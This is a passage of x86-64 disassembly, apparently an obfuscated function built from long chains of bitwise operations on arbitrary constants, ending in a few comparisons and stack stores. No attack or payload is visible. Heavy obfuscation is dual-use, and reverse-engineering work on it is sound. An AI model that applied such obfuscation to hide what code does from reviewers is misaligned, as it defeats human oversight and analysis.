or eax, r11d
xor eax, ebx
not ecx
or ecx, eax
mov eax, esi
not eax
and eax, 0x56d2322a
and esi, 0xa92dcdd5
or esi, eax
mov eax, ecx
not eax
and eax, 0x56d2322a
and ecx, 0xa92dcdd5
or ecx, eax
xor ecx, esi
or r10d, r14d
not r10d
mov eax, ecx
and eax, r10d
xor r10d, ecx
or r10d, eax
mov ecx, r8d
and ecx, 0x7882e129
mov r11d, r9d
xor r11d, 1
and r11d, r9d
and r9d, 0x877d1ed6
or r9d, ecx
mov ecx, r9d
xor ecx, 0x877d1ed6
xor r9d, 0x6082a028
and r9d, 0x62bfa8bc
mov edx, ecx
and edx, 0x9d405743
or edx, r9d
xor edx, 0x9d405742
and ecx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and r8d, 1
mov eax, r8d
and eax, r11d
xor r11d, r8d
or r11d, eax
mov eax, ecx
and eax, 0x2b08c609
xor ecx, 0x1ab52673
and ecx, edx
and edx, 0xd4f739f6
or edx, eax
mov r8d, edx
xor r8d, 0xd4f739f6
mov eax, r11d
not eax
mov edi, eax
and edi, 0xf1c7d01e
and r11d, 0xe382fe1
or r11d, edi
mov r9d, r11d
xor r9d, 0xe382fe1
xor edx, 0x2b08c609
mov esi, r8d
and esi, 0xe54ad98c
mov edi, r11d
xor edi, 0x148d0992
and edi, r9d
or eax, 0xe54ad98c
mov ebx, eax
not ebx
mov r14d, esi
and r14d, ecx
xor ecx, esi
or ecx, r14d
mov esi, edi
not esi
mov r14d, esi
and r14d, 0xc57a0bd3
and edi, 0x3a85f42c
or edi, r14d
or esi, eax
and eax, 0xc57a0bd3
and ebx, 0x1a852420
or ebx, eax
xor ebx, edi
not esi
or esi, ebx
mov eax, ecx
not eax
and eax, 0x36908991
and ecx, 0xc96f766e
or ecx, eax
mov eax, esi
not eax
and eax, 0x36908991
and esi, 0xc96f766e
or esi, eax
xor esi, ecx
xor r11d, 0xf1c7d01e
mov eax, edx
and eax, 0x1f4a8511
and r8d, 0xe0b57aee
or r8d, eax
or edx, r11d
and r11d, 0x1f4a8511
and r9d, 0xe0b57aee
or r9d, r11d
xor r9d, r8d
not edx
or edx, r9d
not edx
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov r8d, edx
not r8d
mov ecx, r8d
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xcb3d0036
mov eax, r8d
and eax, 0x34c2ffc9
or eax, edi
mov edi, edx
or edi, ebx
and ebx, 0xcb3d0036
and ecx, 0x34c2ffc9
or ecx, ebx
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
not eax
and eax, 0x692661d2
and edi, 0x96d99e2d
or edi, eax
mov eax, edi
xor eax, 0x82c08e2c
xor edi, 0x28244052
and edi, 0x3c3d5053
and eax, 0xc3c2afac
or eax, edi
mov r14d, eax
xor r14d, 0xc081053
xor eax, 0xc3c08320
and eax, 0xf3f5c320
and r14d, 0xc0a3cdf
or r14d, eax
mov ebx, r14d
xor ebx, 0xc0a3cdf
and r8d, 0xfd6c3314
and edx, 0x293cceb
or edx, r8d
mov ecx, edx
xor ecx, 0x293cceb
xor edx, 0x31241100
and edx, 0x31a559ca
mov eax, ecx
and eax, 0xce5aa635
or eax, edx
xor eax, 0xce5aa635
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xac2509d9
and eax, 0x53daf626
or eax, ecx
mov edi, eax
xor edi, 0x53daf626
mov r8d, r14d
xor r8d, 0xd58200
mov ecx, eax
xor ecx, 0x8c000918
and ecx, 0xde0a7b1a
xor eax, 0x9ee5f47e
and eax, edi
and edi, 0x21f584e5
or edi, ecx
mov r9d, edi
xor r9d, 0x21f584e5
mov ecx, ebx
or ecx, 0x32c0fda7
mov edx, ecx
not edx
xor r14d, 0xc1353e87
and r14d, ebx
xor edi, 0xde0a7b1a
mov r11d, r9d
and r11d, 0xcd3f0258
mov esi, r14d
not esi
mov r15d, ecx
and r15d, 0x6199d037
and edx, 0x8c260248
or edx, r15d
or ecx, esi
and esi, 0x6199d037
and r14d, 0x9e662fc8
or r14d, esi
xor r14d, edx
not ecx
or ecx, r14d
mov edx, r11d
and edx, eax
xor eax, r11d
or eax, edx
mov edx, ecx
not edx
and edx, 0xa871f241
and ecx, 0x578e0dbe
or ecx, edx
mov edx, eax
not edx
and edx, 0xa871f241
and eax, 0x578e0dbe
or eax, edx
xor eax, ecx
mov ecx, ebx
and ecx, 0xff2859a0
and r8d, 0xd7a65f
or r8d, ecx
or ebx, edi
and edi, 0xff2859a0
and r9d, 0xd7a65f
or r9d, edi
xor r9d, r8d
not ebx
or ebx, r9d
not ebx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xa404f425
mov ecx, ebx
and ecx, 0x500a10
or ecx, eax
xor ecx, 0x500a10
and ebx, 0x5bab01ca
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x5bab01ca
and ebx, 0xa454fe35
or ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, ebx
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x5fb2cbdb
and edx, 0xa04d3424
or edx, edi
or ecx, eax
and eax, 0x5fb2cbdb
and ebx, 0xa04d3424
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov eax, ecx
mov edx, ecx
xor edx, 0xe6e04080
and edx, ecx
not ecx
and ecx, 0xa9d36522
and eax, 0x562c9add
or eax, ecx
mov ecx, eax
xor ecx, 0x80
xor eax, 0xa0c04000
or eax, 0x191fbf7f
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xcf69984f
and ecx, 0x20804080
or ecx, edi
or eax, ebx
and ebx, 0xcf69984f
and edx, 0x309667b0
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x97e87463
and eax, 0x68178b9c
or eax, ecx
mov ecx, eax
xor ecx, 0x8674011c
xor eax, 0x61001422
and eax, 0x6983de22
and ecx, 0x967c21dd
or ecx, eax
mov eax, ecx
xor eax, 0x16102004
xor ecx, 0x41011402
and ecx, 0xc16d15db
and eax, 0x3e92ea24
or eax, ecx
mov edi, eax
xor edi, 0x3e92ea24
xor eax, 0x802410c2
mov ecx, r10d
not ecx
mov ebx, ecx
and ebx, 0x51c90d3d
and r10d, 0xae36f2c2
or r10d, ebx
mov edx, edi
and edx, 0x51c90d3d
and eax, 0xae36f2c2
or eax, edx
xor eax, r10d
not eax
or eax, ecx
mov edx, ecx
xor edx, edi
not edx
and edx, edi
or ecx, edi
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov r9d, ecx
not r9d
mov edx, r9d
and edx, 0x2477c500
and ecx, 0xdb883aff
or ecx, edx
mov r11d, ecx
xor r11d, 0xdb883aff
mov r14d, eax
xor r14d, 0x21860439
mov r10d, r14d
and r10d, eax
mov r8d, eax
and r8d, r11d
xor r11d, eax
not eax
and r14d, eax
xor ecx, 0x471c100
or ecx, 0x21860439
mov eax, ecx
not eax
or r9d, 0xde79fbc6
mov ebx, r9d
not ebx
mov esi, r10d
not esi
mov edi, r14d
not edi
mov edx, esi
and edx, 0x5f67b2c9
and r10d, 0xa0984d36
or r10d, edx
or esi, edi
and edi, 0x5f67b2c9
and r14d, 0xa0984d36
or r14d, edi
xor r14d, r10d
not esi
or esi, r14d
and ecx, 0xd03227dd
and eax, 0xe49d802
or eax, ecx
and r9d, 0xd03227dd
and ebx, 0x21840020
or ebx, r9d
xor ebx, eax
mov eax, esi
not eax
and eax, 0x23dc26ab
and esi, 0xdc23d954
or esi, eax
mov eax, ebx
not eax
and eax, 0x23dc26ab
and ebx, 0xdc23d954
or ebx, eax
xor ebx, esi
or r11d, r8d
mov eax, r11d
not eax
mov r9d, ebx
not r9d
mov edx, r9d
and edx, 0xd4b677af
and ebx, 0x2b498850
or ebx, edx
or r9d, r11d
and r11d, 0xd4b677af
and eax, 0x2b498850
or eax, r11d
xor eax, ebx
not r9d
or r9d, eax
mov r8d, r9d
not r8d
mov eax, r9d
and eax, 0xbee021e1
mov edx, r8d
and edx, 0x411fde1e
or edx, eax
mov eax, edx
xor eax, 0xb4202121
xor edx, 0x100204
and edx, 0xad002c4
and eax, 0xf52ffd3b
or eax, edx
mov edx, eax
xor edx, 0xb50f1032
xor eax, 0xd000c4
and eax, 0x40f0edcd
and edx, 0xbf0f1232
or edx, eax
mov ebx, edx
xor ebx, 0xbf0f1232
xor edx, 0x40b00d00
mov eax, r8d
and eax, 0x6328a17a
mov ecx, r9d
and ecx, 0x9cd75e85
or ecx, eax
mov eax, ecx
xor eax, 0x9cd75e85
xor ecx, 0x2120a02a
and ecx, 0x2121e62a
mov esi, eax
and esi, 0xdede19d5
or esi, ecx
xor esi, 0xdede19d5
or esi, eax
mov eax, esi
not eax
mov ecx, ebx
xor ecx, esi
and ecx, ebx
and edx, 0x50bd0f00
and ebx, 0xaf42f0ff
or ebx, edx
and esi, 0x50bd0f00
and eax, 0xaf42f0ff
or eax, esi
xor eax, ebx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x9298a35
and eax, 0xf6d675ca
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf6d675ca
and eax, 0x9298a35
or eax, ecx
mov ebx, eax
mov ecx, eax
xor ecx, 0x636eeb
and ecx, eax
not eax
and eax, 0x326c7d9e
and ebx, 0xcd938261
or ebx, eax
mov edx, ebx
xor edx, 0xcd938261
xor ebx, 0x326c7d9e
mov eax, ebx
or eax, 0xff9c9114
mov esi, eax
not esi
mov edi, ecx
not edi
mov r10d, eax
and r10d, 0x77ad4b4f
and esi, 0x4224a0
or esi, r10d
or eax, edi
and edi, 0x77ad4b4f
and ecx, 0x8852b4b0
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
and ecx, 0xfbc827b0
not eax
and eax, 0x437d84f
or eax, ecx
and ebx, 0x5b2050b9
mov ecx, edx
and ecx, 0xa4dfaf46
or ecx, ebx
xor ecx, 0xa08b19e2
and edx, 0xfbab495b
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x65f4efa5
and edx, 0x9a0b105a
or edx, ecx
xor edx, 0x9a0b105a
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x554bed88
and edx, 0xaab41277
or edx, eax
mov ebx, edx
xor ebx, 0x20000022
xor edx, 0x15010000
or ecx, 0xf5f14533
mov r13d, ecx
not r13d
or edx, 0xa0a80c8
and edx, 0x9fbb80d9
and ebx, 0x60404522
or ebx, edx
and ecx, 0x9fbb80d9
and r13d, 0x43a04
or r13d, ecx
xor r13d, ebx
mov ecx, r13d
not ecx
and ecx, 0x39eabf2e
and r13d, 0xc61540d1
or r13d, ecx
mov ecx, r13d
xor ecx, 0x32a00422
xor r13d, 0x801b1014
and ecx, 0x7ea0ee2b
and r13d, 0x815f11d4
or r13d, ecx
mov r15d, r13d
xor r15d, 0x815f11d4
mov ecx, r8d
or ecx, 0x112e5952
mov ebx, ecx
not ebx
mov edi, r9d
or edi, 0xc112081
and edi, 0x1d3579c3
mov esi, r8d
and esi, 0xa0010
or esi, edi
and ecx, 0x1d3579c3
and ebx, 0xe2c0862c
or ebx, ecx
xor ebx, esi
mov ecx, ebx
not ecx
and ecx, 0xfddd2ed3
and ebx, 0x222d12c
or ebx, ecx
mov ecx, ebx
xor ecx, 0x17583eda
and r8d, 0x67563647
and r9d, 0x98a9c9b8
or r9d, r8d
mov edi, r9d
xor edi, 0x98a9c9b8
xor ebx, 0xe8a7c125
and edi, ebx
xor r9d, 0x67563647
and r9d, ecx
or r9d, edi
xor ebx, r9d
and ebx, r9d
mov edi, r13d
xor edi, 0x7ea0ee2b
mov ecx, edi
and ecx, 0xa9c00840
mov edx, r15d
and edx, 0x42306108
or edx, ecx
xor edx, 0x42306108
xor r13d, 0x6aaf789c
and r13d, r15d
mov ecx, edx
and ecx, r13d
xor r13d, edx
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0xda27d67a
and r13d, 0x25d82985
or r13d, ecx
mov r10d, r13d
xor r10d, 0xce2840cd
mov esi, ebx
not esi
mov ecx, ebx
and ecx, 0x7210ab12
mov r14d, esi
and r14d, 0x8def54ed
or r14d, ecx
mov r9d, r14d
xor r13d, 0x31d7bf32
mov ecx, r13d
and ecx, 0x354451c1
mov r11d, r10d
and r11d, 0xcabbae3e
or r11d, ecx
mov ecx, r11d
xor ecx, 0x4ab12038
and ecx, 0x6eb561f9
xor r11d, 0xa40ecfc7
or r11d, ecx
and edi, 0xddc289e8
and r15d, 0x223d7617
or r15d, edi
mov edi, r15d
xor edi, 0x223d7617
xor r15d, 0x59800808
and r15d, 0x59812e1c
mov ecx, edi
and ecx, 0xa67ed1e3
or ecx, r15d
xor ecx, 0xc8cbb01a
and edi, 0x914a9e06
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x7f626f4e
and edi, 0x809d90b1
or edi, ecx
mov r15d, edi
xor r15d, 0x809d90b1
mov edx, edi
xor edx, 0x7f202b04
mov r8d, r14d
xor r8d, 0x8def54ed
mov ecx, r8d
and ecx, 0x6eb561f9
xor r14d, 0xe35a3514
or r14d, ecx
and ebx, 0xad5d5ba9
mov ecx, esi
and ecx, 0x52a2a456
or ecx, ebx
xor ecx, 0x3c17c5af
and esi, 0x914a9e06
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0xa1bdcc95
and esi, 0x5e42336a
or esi, ecx
and edx, 0x7fadab85
xor edi, 0x3c32bc51
and edi, r15d
mov ebx, r15d
and ebx, 0x8052547a
or ebx, edx
mov edx, ebx
xor edx, 0x8052547a
mov r15d, r11d
mov ecx, r11d
mov r12d, r11d
and r12d, edx
xor edx, r11d
not r11d
and r15d, 0xbcaf2ce0
xor ecx, 0x4350d31f
and ecx, r11d
xor ebx, 0x3cad2880
or ebx, 0x4350d31f
mov r11d, r15d
and r11d, ecx
xor ecx, r15d
mov r15d, ebx
not r15d
or ecx, r11d
mov r11d, ebx
and r11d, 0xafef2477
and r15d, 0x10000880
or r15d, r11d
mov eax, edi
not eax
or ebx, eax
and eax, 0xafef2477
and edi, 0x5010db88
or edi, eax
xor edi, r15d
not ebx
or ebx, edi
mov eax, ecx
not eax
and eax, 0xebd4c142
and ecx, 0x142b3ebd
or ecx, eax
mov eax, ebx
not eax
and eax, 0xebd4c142
and ebx, 0x142b3ebd
or ebx, eax
xor ebx, ecx
or edx, r12d
mov eax, edx
not eax
and eax, 0x1ce4bab9
and edx, 0xe31b4546
or edx, eax
xor edx, 0xe31b4546
mov eax, ebx
and eax, edx
xor edx, ebx
mov ecx, r14d
not ecx
or edx, eax
mov eax, esi
xor eax, 0x5e42336a
xor esi, 0xa1bdcc95
and eax, r14d
or r14d, esi
not r14d
and esi, ecx
or esi, eax
mov eax, r14d
and eax, esi
xor esi, r14d
or esi, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x56a91c47
and ecx, edx
not edx
and edx, 0x16090007
and eax, 0x40a01c40
or eax, edx
xor eax, 0x40a01c40
mov r11d, esi
mov r14d, esi
xor r14d, 0x56a91c47
and r14d, esi
not esi
and esi, 0x4011402
and r11d, 0x52a80845
or r11d, esi
mov esi, eax
and esi, ecx
xor ecx, eax
and r13d, 0x53e23019
mov ebx, r10d
and ebx, 0xac1dcfe6
or ebx, r13d
xor ebx, 0xac1dcfe6
mov eax, ebx
and eax, r8d
xor r11d, 0x52a80845
or ecx, esi
mov edx, r11d
and edx, r14d
xor r14d, r11d
mov esi, ebx
xor ebx, r8d
xor r9d, 0x70002102
or r14d, edx
mov edx, ecx
not edx
and edx, r14d
not r14d
and r14d, ecx
or r14d, edx
and esi, 0x7c6035ca
and r10d, 0x839fca35
or r10d, esi
or r9d, 0x839fca35
mov ecx, r9d
not ecx
or r8d, 0x7c6035ca
mov edx, r8d
not edx
and r9d, 0xb207a262
and ecx, 0x4c601588
or ecx, r9d
and r8d, 0xb207a262
and edx, 0x1984815
or edx, r8d
xor edx, ecx
mov ecx, r10d
not ecx
and ecx, edx
not edx
and edx, r10d
or edx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x210730c3
and ebx, 0xdef8cf3c
or ebx, eax
mov ecx, ebx
xor ecx, 0xa58c33c
xor ebx, 0x210730c3
mov eax, edx
not eax
mov esi, eax
and esi, 0xd4a23c00
and edx, 0x2b5dc3ff
or edx, esi
or eax, ebx
and ebx, 0xd4a23c00
and ecx, 0x2b5dc3ff
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xca29e9df
and ecx, eax
and eax, 0x35d61620
or eax, edx
xor eax, 0x35d61620
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe4da1a15
and ecx, 0x1b25e5ea
or ecx, eax
mov eax, ecx
xor eax, 0x1a044182
xor ecx, 0xe4da1a15
mov edx, r14d
xor edx, ecx
and edx, r14d
mov edi, r14d
not edi
and edi, 0x4529b478
and r14d, 0xbad64b87
or r14d, edi
and ecx, 0x4529b478
and eax, 0xbad64b87
or eax, ecx
xor eax, r14d
mov ecx, edx
not ecx
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0x10544abe
and edx, 0xefabb541
or edx, edi
or ecx, ebx
and ebx, 0x10544abe
and eax, 0xefabb541
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov ebx, ecx
and ebx, 0x6ae6ffa8
mov edx, eax
and edx, 0x95190057
or edx, ebx
mov ebx, edx
xor ebx, 0x4a466b28
xor edx, 0x4190014
and ebx, 0xdb466b6b
and edx, 0x24b99494
or edx, ebx
mov ebx, edx
xor ebx, 0xdf12ddcf
xor edx, 0x24b99494
and edx, ebx
and eax, 0x5371da1d
and ecx, 0xac8e25e2
or ecx, eax
mov eax, ecx
xor eax, 0x40424a0
and eax, 0x454b6a4
xor ecx, 0xa8da9346
or ecx, eax
mov eax, ecx
not eax
and eax, 0x756134ef
and ecx, 0x8a9ecb10
or ecx, eax
mov r9d, ecx
xor r9d, 0x8a9ecb10
mov esi, edx
mov ebx, edx
xor ebx, 0x31660d0f
and ebx, edx
not edx
and edx, 0xa8000547
and esi, 0x57fffab8
or esi, edx
mov r8d, esi
xor r8d, 0x10bfc018
xor ecx, 0x4613441
and ecx, 0x8ce53e41
mov edx, r9d
and edx, 0x731ac1be
or edx, ecx
mov r10d, edx
xor r10d, 0x731ac1be
xor esi, 0xa8000547
mov eax, esi
or eax, 0xce99f2f0
mov edi, eax
not edi
xor edx, 0x8ce53e41
mov ecx, r10d
and ecx, 0x31660d0f
and r9d, 0xce99f2f0
or r9d, ecx
mov ecx, eax
and ecx, 0x755824f8
and edi, 0x260907
or edi, ecx
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0x755824f8
and ebx, 0x8aa7db07
or ebx, ecx
xor ebx, edi
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, r9d
not r9d
and r9d, eax
or r9d, ecx
mov eax, esi
and eax, 0x4f403fa6
and r8d, 0xb0bfc059
or r8d, eax
or esi, edx
and edx, 0x4f403fa6
and r10d, 0xb0bfc059
or r10d, edx
xor r10d, r8d
not esi
or esi, r10d
mov eax, esi
not eax
and eax, 0x2e938749
and esi, 0xd16c78b6
or esi, eax
xor esi, 0xd16c78b6
mov eax, r9d
and eax, esi
xor esi, r9d
or esi, eax
mov r9d, esi
not r9d
mov eax, r9d
and eax, esi
mov ecx, eax
not ecx
mov edx, esi
and edx, 0x6cc8fdc8
mov ebx, r9d
and ebx, 0x93370237
or ebx, edx
mov edx, esi
or edx, ecx
and ecx, 0x6cc8fdc8
and eax, 0x93370237
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov ecx, edx
not ecx
and edx, 0x81408906
and ecx, 0x2c0b4028
or ecx, edx
mov edx, ecx
xor edx, 0x90000
mov r8d, ecx
xor r8d, 0xd3f4bfd7
mov eax, r9d
and eax, 0x4fc9950a
and esi, 0xb0366af5
or esi, eax
xor esi, 0xe2825c24
xor r9d, esi
and r9d, esi
mov eax, r9d
mov edi, r9d
xor edi, 0xfdc2ed6d
and edi, r9d
not r9d
and r9d, 0x72cdb1b3
and eax, 0x8d324e4c
or eax, r9d
mov esi, eax
xor esi, 0x8d324e4c
xor ecx, 0xd1c9ad45
and ecx, r8d
and edx, 0x90002
xor eax, 0x8f0f5cde
and eax, esi
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ebx, eax
not ebx
mov ecx, edi
not ecx
mov r9d, ebx
and r9d, 0x62ea4bec
and eax, 0x9d15b413
or eax, r9d
or ebx, ecx
and ecx, 0x62ea4bec
and edi, 0x9d15b413
or edi, ecx
xor edi, eax
not ebx
or ebx, edi
mov eax, edx
not eax
and eax, 0xb4cfc0ba
and edx, 0x49002d45
or edx, eax
mov eax, ebx
not eax
and eax, 0xb4cfc0ba
and ebx, 0x4b303f45
or ebx, eax
xor ebx, edx
mov eax, r8d
and eax, esi
xor esi, r8d
or esi, eax
mov eax, esi
not eax
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x2133a1f5
and ebx, 0xdecc5e0a
or ebx, edx
or ecx, esi
and esi, 0x2133a1f5
and eax, 0xdecc5e0a
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xc829104
and ecx, 0x4c0c1b
or ecx, eax
mov ebx, ecx
xor ebx, 0x440c1b
xor ecx, 0xcf1352e0
or edx, 0xcce9d1f
mov eax, edx
not eax
and ecx, 0xcf1b52e0
and ebx, 0xc48d1f
or ebx, ecx
and edx, 0xcf1b52e0
and eax, 0x30202000
or eax, edx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0x5e7aabce
and eax, 0xa1855431
or eax, ecx
mov r8d, eax
mov ebx, eax
mov ecx, eax
xor ecx, 0xd8a032d6
and ecx, eax
mov edx, eax
not edx
or r8d, edx
mov r11d, r8d
not r11d
and edx, 0xf91560b
and ebx, 0xf06ea9f4
or ebx, edx
mov edx, ebx
xor edx, 0xd0002040
xor ebx, 0x8801202
or ebx, 0x275fcd29
mov edi, ecx
not edi
mov esi, ebx
and esi, 0xbb6589f
and edx, 0xd0002240
or edx, esi
or ebx, edi
and edi, 0xbb6589f
and ecx, 0xf449a760
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x96e13929
and ebx, 0x691ec6d6
or ebx, ecx
mov esi, ebx
xor esi, 0x4e410bff
mov ecx, ebx
xor ecx, 0x189000
and ecx, 0x44189913
xor ebx, 0xfe6d2366
and ebx, esi
and esi, 0xbbe766ec
or esi, ecx
mov r10d, esi
xor r10d, 0xbbe766ec
mov ecx, r8d
and ecx, 0xb02c2899
mov edx, r8d
xor edx, 0x4fd3d766
and edx, r11d
mov edi, esi
xor edi, 0xf434b18a
and edi, r10d
mov r9d, ecx
and r9d, edx
xor edx, ecx
or edx, r9d
mov ecx, edi
not ecx
mov r9d, ecx
and r9d, 0xe52c24ed
and edi, 0x1ad3db12
or edi, r9d
mov eax, ebx
not eax
or ecx, eax
and eax, 0xe52c24ed
and ebx, 0x1ad3db12
or ebx, eax
mov r9d, dword [0x1400508cc]
xor ebx, edi
not ecx
or ecx, ebx
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
or ecx, eax
xor esi, 0x44189913
mov eax, r11d
and eax, 0x6c9353cf
and r8d, 0x936cac30
or r8d, eax
or r11d, esi
and esi, 0x6c9353cf
and r10d, 0x936cac30
or r10d, esi
xor r10d, r8d
not r11d
or r11d, r10d
mov eax, r11d
not eax
and eax, 0xbce3f213
and r11d, 0x431c0dec
or r11d, eax
xor r11d, 0x431c0dec
mov eax, ecx
and eax, r11d
xor r11d, ecx
or r11d, eax
mov edx, r11d
not edx
mov eax, edx
and eax, 0xd2495cb
mov ecx, r11d
and ecx, 0xf2db6a34
or ecx, eax
mov edi, ecx
xor edi, 0x904a2214
xor ecx, 0x9049140
and ecx, 0x6b95d960
and edi, 0x946a269f
or edi, ecx
mov eax, edi
xor eax, 0x29109960
xor edi, 0x946a269f
and eax, 0xb952b9fa
mov ecx, edi
and ecx, 0x46ad4605
or ecx, eax
xor ecx, 0x78787a35
and edi, 0xc12ac3cf
or edi, ecx
mov ecx, edi
not ecx
mov eax, edx
and eax, 0xa48611e5
and r11d, 0x5b79ee1a
or r11d, eax
xor r11d, 0x9a532dd5
xor edx, r11d
and edx, r11d
mov esi, edx
not esi
mov ebx, edi
or ebx, esi
mov eax, ebx
not eax
and edi, 0x863b8776
and ecx, 0x79c47889
or ecx, edi
and esi, 0x863b8776
and edx, 0x79c47889
or edx, esi
xor edx, ecx
mov ecx, edx
not ecx
mov edi, ebx
and edi, 0x980cdcef
and eax, 0x67f32310
or eax, edi
or ebx, ecx
and ecx, 0x980cdcef
and edx, 0x67f32310
or edx, ecx
xor edx, eax
not ebx
or ebx, edx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x9c5dbcd9
and ebx, 0x63a24326
or ebx, eax
mov edx, ebx
xor edx, 0x40200006
xor ebx, 0x80088080
or ecx, 0xc12ac3cf
mov eax, ecx
not eax
or ebx, 0x32411c00
and ebx, 0xb34bdf80
and edx, 0x4020004f
or edx, ebx
and ecx, 0xb34bdf80
and eax, 0xc942030
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x4543b12d
and ecx, eax
and eax, 0xbabc4ed2
or eax, edx
mov edx, eax
xor edx, 0xb040c2
xor eax, 0x4543b12d
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0xfe4faf18
and edx, 0x1b050e7
or edx, edi
or eax, ebx
and ebx, 0xfe4faf18
and ecx, 0x1b050e7
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8a931421
and eax, 0x756cebde
or eax, ecx
mov ecx, eax
xor ecx, 0x80811020
xor eax, 0x244c000c
and ecx, 0xd1a1fbf2
and eax, 0x2e5e040d
or eax, ecx
mov ecx, eax
xor ecx, 0x10a18060
xor eax, 0xe4a0408
and eax, 0xcf4a7f9a
and ecx, 0x30b58065
or ecx, eax
mov eax, ecx
xor eax, 0x10948025
xor ecx, 0x80424310
and ecx, 0xa0634350
and eax, 0x5f9cbcaf
or eax, ecx
mov ecx, eax
xor ecx, 0xa0404250
xor eax, 0x514388c
and eax, 0x537398c
and ecx, 0xfac8c673
or ecx, eax
xor ecx, 0xfac8c673
sete dil
setne r8b
cmp r9d, 9
setg r10b
cmp r9d, 0xa
setl r9b
mov r14d, r9d
xor r14b, r10b
mov r11d, r14d
xor r11b, 1
mov eax, r14d
or al, r11b
mov esi, r11d
xor sil, r14b
and sil, r11b
mov ecx, esi
xor cl, 1
mov ebx, ecx
and bl, sil
xor cl, bl
xor bl, 1
or bl, sil
xor bl, 1
or bl, cl
mov ecx, ebx
xor bl, 1
and bl, al
xor al, 1
and cl, al
or bl, cl
mov ecx, eax
xor cl, sil
or sil, al
xor sil, 1
or sil, cl
xor sil, 1
mov eax, ebx
and al, sil
xor sil, bl
or sil, al
mov r12d, r14d
xor r12b, r10b
mov ebx, r14d
and bl, r10b
mov r15d, ebx
xor r15b, 1
mov r13d, ebx
and r13b, r15b
mov eax, r13d
and al, bl
xor r13b, bl
or r13b, al
xor r13b, r10b
xor r15b, r10b
or r10b, sil
xor sil, 1
or sil, r9b
mov eax, esi
xor al, r10b
or sil, r10b
xor sil, 1
or sil, al
or r11b, r9b
mov eax, r11d
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, r11b
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, 1
mov ebx, esi
xor bl, r12b
and bl, sil
and r12b, sil
xor sil, 1
and sil, al
or r12b, sil
mov eax, ebx
xor al, 1
xor bl, r12b
xor r12b, 1
or r12b, al
xor r12b, 1
or r12b, bl
mov ecx, r12d
xor cl, 1
mov edx, r12d
or dl, cl
mov ebx, edx
xor bl, 1
mov eax, ecx
xor al, dl
and al, cl
and bl, r12b
and dl, cl
or dl, bl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, r8d
xor al, dil
mov ecx, eax
xor cl, 1
mov r12d, ecx
and r12b, al
xor cl, r12b
xor r12b, 1
or r12b, al
xor r12b, 1
or r12b, cl
mov eax, r12d
not al
and al, dil
mov ecx, r8d
and cl, r12b
or cl, al
mov eax, ecx
xor al, dil
and al, cl
xor dil, r12b
xor dil, 1
and dil, r12b
xor r12b, r8b
and r12b, r8b
mov ecx, edi
xor cl, 1
xor dil, r12b
xor r12b, 1
or r12b, cl
xor r12b, 1
or r12b, dil
mov ecx, eax
xor cl, 1
and cl, r12b
xor r12b, 1
mov ebx, eax
xor bl, r12b
and bl, al
and r12b, al
or r12b, cl
mov eax, ebx
and al, r12b
xor r12b, bl
or r12b, al
mov eax, edx
mov byte [rbp - 0x34], dl
xor dl, 1
mov byte [rbp - 0x38], dl
or al, dl
mov byte [rbp - 0x28], al
mov ecx, eax
xor cl, dl
mov eax, ecx
xor al, 1
and cl, dl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
and al, cl
xor al, 1
mov ecx, ebx
or cl, al
xor al, bl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
or bl, al
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r10d, ebx
xor r10b, 1
mov eax, r10d
and al, bl
mov edx, eax
and dl, r10b
xor al, r10b
